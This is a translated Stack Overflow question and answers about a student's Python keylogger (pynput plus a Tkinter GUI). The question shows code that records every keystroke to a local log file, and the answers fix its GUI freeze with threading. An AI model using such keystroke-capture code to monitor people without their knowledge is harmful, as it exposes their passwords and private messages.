首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >Tkinter和Keylogger的错误

Tkinter和Keylogger的错误
EN

Stack Overflow用户
提问于 2021-05-06 19:36:49
回答 2查看 211关注 0票数 0

我试图为一个学校的项目写一个键盘记录器程序,并得到错误;

  1. 当写入txt文件时,空格不能工作,因此所有文本都在一起。
  2. 我无法加载GUI,我正在使用Tkinter,即使当我让它工作时,它也会在启动后冻结和崩溃。如果有任何修复或帮助,将不胜感激。这是我的代码:
代码语言:javascript
运行
复制
# Keylogger Program Using Pynput

# Imports
from tkinter import *
import os
from pynput.keyboard import Key, Listener
import pynput

from keylogger import on_press, on_release

count = 0
keys = []


def start_keylogger():

    # For every 5 keys pressed the log will update, this value can change.
    def on_press(key):
        global keys, count

        keys.append(key)
        count += 1
        print("{0} pressed".format(key))

        if count >= 2:
            count = 0
            write_file(keys)
            keys = []

    # Making the log file more readable.
    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(" ")
                elif k.find("Key") == -1:
                    f.write(k)

    # To exit/stop the keylogger.
    def on_release(key):
        if key == Key.esc:
            return False

    # For the keylogger itself.
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()


def open_log():
    ff = open("log.txt", "r")
    print(ff.read())

# Simple GUI
# Creating the window
# Modifying the window


root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")

# Title
theLabel = Label(root, text="Krish's Keylogger.", bg="#808080")
theLabel.pack()

# Button 1 to start the keylogger.
button1 = Button(root, text="Start", bg="#059CF0", fg="white", command=start_keylogger)
button1.pack(fill=X)

# Button 2 to open the log file.
button2 = Button(root, text="Open Log", bg="#059CF0", fg="white", command=open_log)
button2.pack(fill=X)

# Button 3 to end the keylogger.
button3 = Button(root, text="Exit", bg="#059CF0", fg="white", command=root.quit)
button3.pack(fill=X)

# Status Bar
status = Label(root, text="Currently doing nothing!", bd=1, relief=SUNKEN, anchor=W)
status.pack(side=BOTTOM, fill=X)

root.mainloop()

谢谢!

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2021-05-06 20:10:53

试着做这样的事情:

代码语言:javascript
运行
复制
from tkinter import *
from threading import Thread
import time


def _start_keylogger():
    # I am replacing all of the keylogger code with a `time.sleep`
    time.sleep(10)

def start_keylogger():
    new_thread = Thread(target=_start_keylogger, daemon=True)
    new_thread.start()

root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")

# Title
theLabel = Label(root, text="Krish's Keylogger.", bg="#808080")
theLabel.pack()

# Button 1 to start the keylogger.
button1 = Button(root, text="Start", bg="#059CF0", fg="white",
                 command=start_keylogger)
button1.pack(fill="x")

# Button 2 to open the log file.
button2 = Button(root, text="Open Log", bg="#059CF0", fg="white",
                 command=None)
button2.pack(fill="x")

# Button 3 to end the keylogger.
button3 = Button(root, text="Exit", bg="#059CF0", fg="white", command=root.quit)
button3.pack(fill="x")

# Status Bar
status = Label(root, text="Currently doing nothing!", bd=1, relief="sunken",
               anchor="w")
status.pack(side="bottom", fill="x")

root.mainloop()

我使用new_thread = Threading(target=..., daemon=True)创建新线程,然后使用new_thread.start()启动线程。请注意,我用time.sleep替换了所有的密钥记录代码,因为我没有安装那个库。

票数 1
EN

Stack Overflow用户

发布于 2021-05-06 20:58:00

您必须将代码放入侦听器中。

代码语言:javascript
运行
复制
with Listener(on_press=on_press, on_release=on_release) as listener:

     # ... your code with GUI ...
     # ... or at least `root.mainloop()

     listener.join()

或者你可以把它写得有点不同,但也许更好地理解它。

代码语言:javascript
运行
复制
listener = Listener(on_press=on_press, on_release=on_release)
listener.start()

# ... your code with GUI ...
# ... or at least `root.mainloop()`

listener.stop()    
listener.join()

Listener已经使用thread来运行它的代码(这就是为什么它像thread一样使用.join() ),并且没有必要将它放在另一个线程中。

源代码 for class AbstractListener(threading.Thread),它后来被用来创建keyboard.Listenermouse.Listener。在注释中的这段代码中,您还可以看到如何与startstop和try/以外一起使用它。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/67424900

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档